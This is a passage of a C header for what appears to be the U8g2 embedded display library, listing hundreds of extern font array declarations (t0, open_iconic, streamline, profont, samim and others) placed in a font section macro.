u8g2_font_t0_17_tr[] U8G2_FONT_SECTION(\"u8g2_font_t0_17_tr\");\nextern const uint8_t u8g2_font_t0_17_tn[] U8G2_FONT_SECTION(\"u8g2_font_t0_17_tn\");\nextern const uint8_t u8g2_font_t0_17_te[] U8G2_FONT_SECTION(\"u8g2_font_t0_17_te\");\nextern const uint8_t u8g2_font_t0_17_mf[] U8G2_FONT_SECTION(\"u8g2_font_t0_17_mf\");\nextern const uint8_t u8g2_font_t0_17_mr[] U8G2_FONT_SECTION(\"u8g2_font_t0_17_mr\");\nextern const uint8_t u8g2_font_t0_17_mn[] U8G2_FONT_SECTION(\"u8g2_font_t0_17_mn\");\nextern const uint8_t u8g2_font_t0_17_me[] U8G2_FONT_SECTION(\"u8g2_font_t0_17_me\");\nextern const uint8_t u8g2_font_t0_17b_tf[] U8G2_FONT_SECTION(\"u8g2_font_t0_17b_tf\");\nextern const uint8_t u8g2_font_t0_17b_tr[] U8G2_FONT_SECTION(\"u8g2_font_t0_17b_tr\");\nextern const uint8_t u8g2_font_t0_17b_tn[] U8G2_FONT_SECTION(\"u8g2_font_t0_17b_tn\");\nextern const uint8_t u8g2_font_t0_17b_te[] U8G2_FONT_SECTION(\"u8g2_font_t0_17b_te\");\nextern const uint8_t u8g2_font_t0_17b_mf[] U8G2_FONT_SECTION(\"u8g2_font_t0_17b_mf\");\nextern const uint8_t u8g2_font_t0_17b_mr[] U8G2_FONT_SECTION(\"u8g2_font_t0_17b_mr\");\nextern const uint8_t u8g2_font_t0_17b_mn[] U8G2_FONT_SECTION(\"u8g2_font_t0_17b_mn\");\nextern const uint8_t u8g2_font_t0_17b_me[] U8G2_FONT_SECTION(\"u8g2_font_t0_17b_me\");\nextern const uint8_t u8g2_font_t0_18_tf[] U8G2_FONT_SECTION(\"u8g2_font_t0_18_tf\");\nextern const uint8_t u8g2_font_t0_18_tr[] U8G2_FONT_SECTION(\"u8g2_font_t0_18_tr\");\nextern const uint8_t u8g2_font_t0_18_tn[] U8G2_FONT_SECTION(\"u8g2_font_t0_18_tn\");\nextern const uint8_t u8g2_font_t0_18_te[] U8G2_FONT_SECTION(\"u8g2_font_t0_18_te\");\nextern const uint8_t u8g2_font_t0_18_mf[] U8G2_FONT_SECTION(\"u8g2_font_t0_18_mf\");\nextern const uint8_t u8g2_font_t0_18_mr[] U8G2_FONT_SECTION(\"u8g2_font_t0_18_mr\");\nextern const uint8_t u8g2_font_t0_18_mn[] U8G2_FONT_SECTION(\"u8g2_font_t0_18_mn\");\nextern const uint8_t u8g2_font_t0_18_me[] U8G2_FONT_SECTION(\"u8g2_font_t0_18_me\");\nextern const uint8_t u8g2_font_t0_18b_tf[] U8G2_FONT_SECTION(\"u8g2_font_t0_18b_tf\");\nextern const uint8_t u8g2_font_t0_18b_tr[] U8G2_FONT_SECTION(\"u8g2_font_t0_18b_tr\");\nextern const uint8_t u8g2_font_t0_18b_tn[] U8G2_FONT_SECTION(\"u8g2_font_t0_18b_tn\");\nextern const uint8_t u8g2_font_t0_18b_te[] U8G2_FONT_SECTION(\"u8g2_font_t0_18b_te\");\nextern const uint8_t u8g2_font_t0_18b_mf[] U8G2_FONT_SECTION(\"u8g2_font_t0_18b_mf\");\nextern const uint8_t u8g2_font_t0_18b_mr[] U8G2_FONT_SECTION(\"u8g2_font_t0_18b_mr\");\nextern const uint8_t u8g2_font_t0_18b_mn[] U8G2_FONT_SECTION(\"u8g2_font_t0_18b_mn\");\nextern const uint8_t u8g2_font_t0_18b_me[] U8G2_FONT_SECTION(\"u8g2_font_t0_18b_me\");\nextern const uint8_t u8g2_font_t0_22_tf[] U8G2_FONT_SECTION(\"u8g2_font_t0_22_tf\");\nextern const uint8_t u8g2_font_t0_22_tr[] U8G2_FONT_SECTION(\"u8g2_font_t0_22_tr\");\nextern const uint8_t u8g2_font_t0_22_tn[] U8G2_FONT_SECTION(\"u8g2_font_t0_22_tn\");\nextern const uint8_t u8g2_font_t0_22_te[] U8G2_FONT_SECTION(\"u8g2_font_t0_22_te\");\nextern const uint8_t u8g2_font_t0_22_mf[] U8G2_FONT_SECTION(\"u8g2_font_t0_22_mf\");\nextern const uint8_t u8g2_font_t0_22_mr[] U8G2_FONT_SECTION(\"u8g2_font_t0_22_mr\");\nextern const uint8_t u8g2_font_t0_22_mn[] U8G2_FONT_SECTION(\"u8g2_font_t0_22_mn\");\nextern const uint8_t u8g2_font_t0_22_me[] U8G2_FONT_SECTION(\"u8g2_font_t0_22_me\");\nextern const uint8_t u8g2_font_t0_22b_tf[] U8G2_FONT_SECTION(\"u8g2_font_t0_22b_tf\");\nextern const uint8_t u8g2_font_t0_22b_tr[] U8G2_FONT_SECTION(\"u8g2_font_t0_22b_tr\");\nextern const uint8_t u8g2_font_t0_22b_tn[] U8G2_FONT_SECTION(\"u8g2_font_t0_22b_tn\");\nextern const uint8_t u8g2_font_t0_22b_te[] U8G2_FONT_SECTION(\"u8g2_font_t0_22b_te\");\nextern const uint8_t u8g2_font_t0_22b_mf[] U8G2_FONT_SECTION(\"u8g2_font_t0_22b_mf\");\nextern const uint8_t u8g2_font_t0_22b_mr[] U8G2_FONT_SECTION(\"u8g2_font_t0_22b_mr\");\nextern const uint8_t u8g2_font_t0_22b_mn[] U8G2_FONT_SECTION(\"u8g2_font_t0_22b_mn\");\nextern const uint8_t u8g2_font_t0_22b_me[] U8G2_FONT_SECTION(\"u8g2_font_t0_22b_me\");\nextern const uint8_t u8g2_font_open_iconic_all_1x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_all_1x_t\");\nextern const uint8_t u8g2_font_open_iconic_app_1x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_app_1x_t\");\nextern const uint8_t u8g2_font_open_iconic_arrow_1x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_arrow_1x_t\");\nextern const uint8_t u8g2_font_open_iconic_check_1x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_check_1x_t\");\nextern const uint8_t u8g2_font_open_iconic_email_1x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_email_1x_t\");\nextern const uint8_t u8g2_font_open_iconic_embedded_1x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_embedded_1x_t\");\nextern const uint8_t u8g2_font_open_iconic_gui_1x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_gui_1x_t\");\nextern const uint8_t u8g2_font_open_iconic_human_1x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_human_1x_t\");\nextern const uint8_t u8g2_font_open_iconic_mime_1x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_mime_1x_t\");\nextern const uint8_t u8g2_font_open_iconic_other_1x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_other_1x_t\");\nextern const uint8_t u8g2_font_open_iconic_play_1x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_play_1x_t\");\nextern const uint8_t u8g2_font_open_iconic_text_1x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_text_1x_t\");\nextern const uint8_t u8g2_font_open_iconic_thing_1x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_thing_1x_t\");\nextern const uint8_t u8g2_font_open_iconic_weather_1x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_weather_1x_t\");\nextern const uint8_t u8g2_font_open_iconic_www_1x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_www_1x_t\");\nextern const uint8_t u8g2_font_open_iconic_all_2x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_all_2x_t\");\nextern const uint8_t u8g2_font_open_iconic_app_2x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_app_2x_t\");\nextern const uint8_t u8g2_font_open_iconic_arrow_2x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_arrow_2x_t\");\nextern const uint8_t u8g2_font_open_iconic_check_2x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_check_2x_t\");\nextern const uint8_t u8g2_font_open_iconic_email_2x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_email_2x_t\");\nextern const uint8_t u8g2_font_open_iconic_embedded_2x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_embedded_2x_t\");\nextern const uint8_t u8g2_font_open_iconic_gui_2x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_gui_2x_t\");\nextern const uint8_t u8g2_font_open_iconic_human_2x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_human_2x_t\");\nextern const uint8_t u8g2_font_open_iconic_mime_2x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_mime_2x_t\");\nextern const uint8_t u8g2_font_open_iconic_other_2x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_other_2x_t\");\nextern const uint8_t u8g2_font_open_iconic_play_2x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_play_2x_t\");\nextern const uint8_t u8g2_font_open_iconic_text_2x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_text_2x_t\");\nextern const uint8_t u8g2_font_open_iconic_thing_2x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_thing_2x_t\");\nextern const uint8_t u8g2_font_open_iconic_weather_2x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_weather_2x_t\");\nextern const uint8_t u8g2_font_open_iconic_www_2x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_www_2x_t\");\nextern const uint8_t u8g2_font_open_iconic_all_4x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_all_4x_t\");\nextern const uint8_t u8g2_font_open_iconic_app_4x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_app_4x_t\");\nextern const uint8_t u8g2_font_open_iconic_arrow_4x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_arrow_4x_t\");\nextern const uint8_t u8g2_font_open_iconic_check_4x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_check_4x_t\");\nextern const uint8_t u8g2_font_open_iconic_email_4x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_email_4x_t\");\nextern const uint8_t u8g2_font_open_iconic_embedded_4x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_embedded_4x_t\");\nextern const uint8_t u8g2_font_open_iconic_gui_4x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_gui_4x_t\");\nextern const uint8_t u8g2_font_open_iconic_human_4x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_human_4x_t\");\nextern const uint8_t u8g2_font_open_iconic_mime_4x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_mime_4x_t\");\nextern const uint8_t u8g2_font_open_iconic_other_4x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_other_4x_t\");\nextern const uint8_t u8g2_font_open_iconic_play_4x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_play_4x_t\");\nextern const uint8_t u8g2_font_open_iconic_text_4x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_text_4x_t\");\nextern const uint8_t u8g2_font_open_iconic_thing_4x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_thing_4x_t\");\nextern const uint8_t u8g2_font_open_iconic_weather_4x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_weather_4x_t\");\nextern const uint8_t u8g2_font_open_iconic_www_4x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_www_4x_t\");\nextern const uint8_t u8g2_font_open_iconic_all_6x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_all_6x_t\");\nextern const uint8_t u8g2_font_open_iconic_app_6x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_app_6x_t\");\nextern const uint8_t u8g2_font_open_iconic_arrow_6x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_arrow_6x_t\");\nextern const uint8_t u8g2_font_open_iconic_check_6x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_check_6x_t\");\nextern const uint8_t u8g2_font_open_iconic_email_6x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_email_6x_t\");\nextern const uint8_t u8g2_font_open_iconic_embedded_6x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_embedded_6x_t\");\nextern const uint8_t u8g2_font_open_iconic_gui_6x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_gui_6x_t\");\nextern const uint8_t u8g2_font_open_iconic_human_6x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_human_6x_t\");\nextern const uint8_t u8g2_font_open_iconic_mime_6x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_mime_6x_t\");\nextern const uint8_t u8g2_font_open_iconic_other_6x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_other_6x_t\");\nextern const uint8_t u8g2_font_open_iconic_play_6x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_play_6x_t\");\nextern const uint8_t u8g2_font_open_iconic_text_6x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_text_6x_t\");\nextern const uint8_t u8g2_font_open_iconic_thing_6x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_thing_6x_t\");\nextern const uint8_t u8g2_font_open_iconic_weather_6x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_weather_6x_t\");\nextern const uint8_t u8g2_font_open_iconic_www_6x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_www_6x_t\");\nextern const uint8_t u8g2_font_open_iconic_all_8x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_all_8x_t\");\nextern const uint8_t u8g2_font_open_iconic_app_8x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_app_8x_t\");\nextern const uint8_t u8g2_font_open_iconic_arrow_8x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_arrow_8x_t\");\nextern const uint8_t u8g2_font_open_iconic_check_8x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_check_8x_t\");\nextern const uint8_t u8g2_font_open_iconic_email_8x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_email_8x_t\");\nextern const uint8_t u8g2_font_open_iconic_embedded_8x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_embedded_8x_t\");\nextern const uint8_t u8g2_font_open_iconic_gui_8x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_gui_8x_t\");\nextern const uint8_t u8g2_font_open_iconic_human_8x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_human_8x_t\");\nextern const uint8_t u8g2_font_open_iconic_mime_8x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_mime_8x_t\");\nextern const uint8_t u8g2_font_open_iconic_other_8x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_other_8x_t\");\nextern const uint8_t u8g2_font_open_iconic_play_8x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_play_8x_t\");\nextern const uint8_t u8g2_font_open_iconic_text_8x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_text_8x_t\");\nextern const uint8_t u8g2_font_open_iconic_thing_8x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_thing_8x_t\");\nextern const uint8_t u8g2_font_open_iconic_weather_8x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_weather_8x_t\");\nextern const uint8_t u8g2_font_open_iconic_www_8x_t[] U8G2_FONT_SECTION(\"u8g2_font_open_iconic_www_8x_t\");\nextern const uint8_t u8g2_font_streamline_all_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_all_t\");\nextern const uint8_t u8g2_font_streamline_building_real_estate_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_building_real_estate_t\");\nextern const uint8_t u8g2_font_streamline_business_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_business_t\");\nextern const uint8_t u8g2_font_streamline_coding_apps_websites_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_coding_apps_websites_t\");\nextern const uint8_t u8g2_font_streamline_computers_devices_electronics_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_computers_devices_electronics_t\");\nextern const uint8_t u8g2_font_streamline_content_files_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_content_files_t\");\nextern const uint8_t u8g2_font_streamline_design_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_design_t\");\nextern const uint8_t u8g2_font_streamline_ecology_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_ecology_t\");\nextern const uint8_t u8g2_font_streamline_email_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_email_t\");\nextern const uint8_t u8g2_font_streamline_entertainment_events_hobbies_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_entertainment_events_hobbies_t\");\nextern const uint8_t u8g2_font_streamline_food_drink_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_food_drink_t\");\nextern const uint8_t u8g2_font_streamline_hand_signs_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_hand_signs_t\");\nextern const uint8_t u8g2_font_streamline_health_beauty_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_health_beauty_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_action_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_action_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_alert_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_alert_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_audio_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_audio_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_calendar_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_calendar_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_chart_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_chart_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_circle_triangle_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_circle_triangle_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_cog_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_cog_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_cursor_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_cursor_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_dial_pad_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_dial_pad_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_edit_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_edit_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_expand_shrink_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_expand_shrink_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_eye_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_eye_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_file_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_file_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_help_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_help_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_hierarchy_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_hierarchy_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_home_menu_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_home_menu_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_id_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_id_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_key_lock_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_key_lock_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_link_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_link_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_loading_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_loading_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_login_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_login_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_other_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_other_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_paginate_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_paginate_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_search_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_search_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_setting_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_setting_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_share_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_share_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_text_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_text_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_wifi_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_wifi_t\");\nextern const uint8_t u8g2_font_streamline_interface_essential_zoom_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_interface_essential_zoom_t\");\nextern const uint8_t u8g2_font_streamline_internet_network_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_internet_network_t\");\nextern const uint8_t u8g2_font_streamline_logo_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_logo_t\");\nextern const uint8_t u8g2_font_streamline_map_navigation_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_map_navigation_t\");\nextern const uint8_t u8g2_font_streamline_money_payments_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_money_payments_t\");\nextern const uint8_t u8g2_font_streamline_music_audio_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_music_audio_t\");\nextern const uint8_t u8g2_font_streamline_pet_animals_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_pet_animals_t\");\nextern const uint8_t u8g2_font_streamline_phone_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_phone_t\");\nextern const uint8_t u8g2_font_streamline_photography_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_photography_t\");\nextern const uint8_t u8g2_font_streamline_romance_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_romance_t\");\nextern const uint8_t u8g2_font_streamline_school_science_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_school_science_t\");\nextern const uint8_t u8g2_font_streamline_shopping_shipping_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_shopping_shipping_t\");\nextern const uint8_t u8g2_font_streamline_social_rewards_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_social_rewards_t\");\nextern const uint8_t u8g2_font_streamline_technology_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_technology_t\");\nextern const uint8_t u8g2_font_streamline_transportation_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_transportation_t\");\nextern const uint8_t u8g2_font_streamline_travel_wayfinding_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_travel_wayfinding_t\");\nextern const uint8_t u8g2_font_streamline_users_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_users_t\");\nextern const uint8_t u8g2_font_streamline_video_movies_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_video_movies_t\");\nextern const uint8_t u8g2_font_streamline_weather_t[] U8G2_FONT_SECTION(\"u8g2_font_streamline_weather_t\");\nextern const uint8_t u8g2_font_profont10_tf[] U8G2_FONT_SECTION(\"u8g2_font_profont10_tf\");\nextern const uint8_t u8g2_font_profont10_tr[] U8G2_FONT_SECTION(\"u8g2_font_profont10_tr\");\nextern const uint8_t u8g2_font_profont10_tn[] U8G2_FONT_SECTION(\"u8g2_font_profont10_tn\");\nextern const uint8_t u8g2_font_profont10_mf[] U8G2_FONT_SECTION(\"u8g2_font_profont10_mf\");\nextern const uint8_t u8g2_font_profont10_mr[] U8G2_FONT_SECTION(\"u8g2_font_profont10_mr\");\nextern const uint8_t u8g2_font_profont10_mn[] U8G2_FONT_SECTION(\"u8g2_font_profont10_mn\");\nextern const uint8_t u8g2_font_profont11_tf[] U8G2_FONT_SECTION(\"u8g2_font_profont11_tf\");\nextern const uint8_t u8g2_font_profont11_tr[] U8G2_FONT_SECTION(\"u8g2_font_profont11_tr\");\nextern const uint8_t u8g2_font_profont11_tn[] U8G2_FONT_SECTION(\"u8g2_font_profont11_tn\");\nextern const uint8_t u8g2_font_profont11_mf[] U8G2_FONT_SECTION(\"u8g2_font_profont11_mf\");\nextern const uint8_t u8g2_font_profont11_mr[] U8G2_FONT_SECTION(\"u8g2_font_profont11_mr\");\nextern const uint8_t u8g2_font_profont11_mn[] U8G2_FONT_SECTION(\"u8g2_font_profont11_mn\");\nextern const uint8_t u8g2_font_profont12_tf[] U8G2_FONT_SECTION(\"u8g2_font_profont12_tf\");\nextern const uint8_t u8g2_font_profont12_tr[] U8G2_FONT_SECTION(\"u8g2_font_profont12_tr\");\nextern const uint8_t u8g2_font_profont12_tn[] U8G2_FONT_SECTION(\"u8g2_font_profont12_tn\");\nextern const uint8_t u8g2_font_profont12_mf[] U8G2_FONT_SECTION(\"u8g2_font_profont12_mf\");\nextern const uint8_t u8g2_font_profont12_mr[] U8G2_FONT_SECTION(\"u8g2_font_profont12_mr\");\nextern const uint8_t u8g2_font_profont12_mn[] U8G2_FONT_SECTION(\"u8g2_font_profont12_mn\");\nextern const uint8_t u8g2_font_profont15_tf[] U8G2_FONT_SECTION(\"u8g2_font_profont15_tf\");\nextern const uint8_t u8g2_font_profont15_tr[] U8G2_FONT_SECTION(\"u8g2_font_profont15_tr\");\nextern const uint8_t u8g2_font_profont15_tn[] U8G2_FONT_SECTION(\"u8g2_font_profont15_tn\");\nextern const uint8_t u8g2_font_profont15_mf[] U8G2_FONT_SECTION(\"u8g2_font_profont15_mf\");\nextern const uint8_t u8g2_font_profont15_mr[] U8G2_FONT_SECTION(\"u8g2_font_profont15_mr\");\nextern const uint8_t u8g2_font_profont15_mn[] U8G2_FONT_SECTION(\"u8g2_font_profont15_mn\");\nextern const uint8_t u8g2_font_profont17_tf[] U8G2_FONT_SECTION(\"u8g2_font_profont17_tf\");\nextern const uint8_t u8g2_font_profont17_tr[] U8G2_FONT_SECTION(\"u8g2_font_profont17_tr\");\nextern const uint8_t u8g2_font_profont17_tn[] U8G2_FONT_SECTION(\"u8g2_font_profont17_tn\");\nextern const uint8_t u8g2_font_profont17_mf[] U8G2_FONT_SECTION(\"u8g2_font_profont17_mf\");\nextern const uint8_t u8g2_font_profont17_mr[] U8G2_FONT_SECTION(\"u8g2_font_profont17_mr\");\nextern const uint8_t u8g2_font_profont17_mn[] U8G2_FONT_SECTION(\"u8g2_font_profont17_mn\");\nextern const uint8_t u8g2_font_profont22_tf[] U8G2_FONT_SECTION(\"u8g2_font_profont22_tf\");\nextern const uint8_t u8g2_font_profont22_tr[] U8G2_FONT_SECTION(\"u8g2_font_profont22_tr\");\nextern const uint8_t u8g2_font_profont22_tn[] U8G2_FONT_SECTION(\"u8g2_font_profont22_tn\");\nextern const uint8_t u8g2_font_profont22_mf[] U8G2_FONT_SECTION(\"u8g2_font_profont22_mf\");\nextern const uint8_t u8g2_font_profont22_mr[] U8G2_FONT_SECTION(\"u8g2_font_profont22_mr\");\nextern const uint8_t u8g2_font_profont22_mn[] U8G2_FONT_SECTION(\"u8g2_font_profont22_mn\");\nextern const uint8_t u8g2_font_profont29_tf[] U8G2_FONT_SECTION(\"u8g2_font_profont29_tf\");\nextern const uint8_t u8g2_font_profont29_tr[] U8G2_FONT_SECTION(\"u8g2_font_profont29_tr\");\nextern const uint8_t u8g2_font_profont29_tn[] U8G2_FONT_SECTION(\"u8g2_font_profont29_tn\");\nextern const uint8_t u8g2_font_profont29_mf[] U8G2_FONT_SECTION(\"u8g2_font_profont29_mf\");\nextern const uint8_t u8g2_font_profont29_mr[] U8G2_FONT_SECTION(\"u8g2_font_profont29_mr\");\nextern const uint8_t u8g2_font_profont29_mn[] U8G2_FONT_SECTION(\"u8g2_font_profont29_mn\");\nextern const uint8_t u8g2_font_samim_10_t_all[] U8G2_FONT_SECTION(\"u8g2_font_samim_10_t_all\");\nextern const uint8_t u8g2_font_samim_12_t_all[] U8G2_FONT_SECTION(\"u8g2_font_samim_12_t_all\");\nextern const uint8_t u8g2_font_samim_14_t_all[] U8G2_FONT_SECTION(\"u8g2_font_samim_14_t_all\");\nextern const uint8_t u8g2_font_samim_16_t_all[] U8G2_FONT_SECTION(\"u8g2_font_samim_16_t_all\");\nextern const uint8_t u8g2_font_samim_fd_10_t_all[] U8G2_FONT_SECTION(\"u8g2_font_samim_fd_10_t_all\");\nextern const uint8_t u8g2_font_samim_fd_12_t_all[] U8G2_FONT_SECTION(\"u8g2_font_samim_fd_12_t_all\");\nextern const uint8_t u8g2_font_samim_fd_14_t_all[] U8G2_FONT_SECTION(\"u8g2_font_samim_fd_14_t_all\");\nextern const uint8_t u8g2_font_samim_fd_16_t_all[] U8G2_FONT_SECTION(\"u8g2_font_samim_fd_16_t_all\");\nextern const uint8_t u8g2_font_ganj_nameh_sans10_t_all[] U8G2_FONT_SECTION(\"u8g2_font_ganj_nameh_sans10_t_all\");\nextern const uint8_t u8g2_font_ganj_nameh_sans12_t_all[] 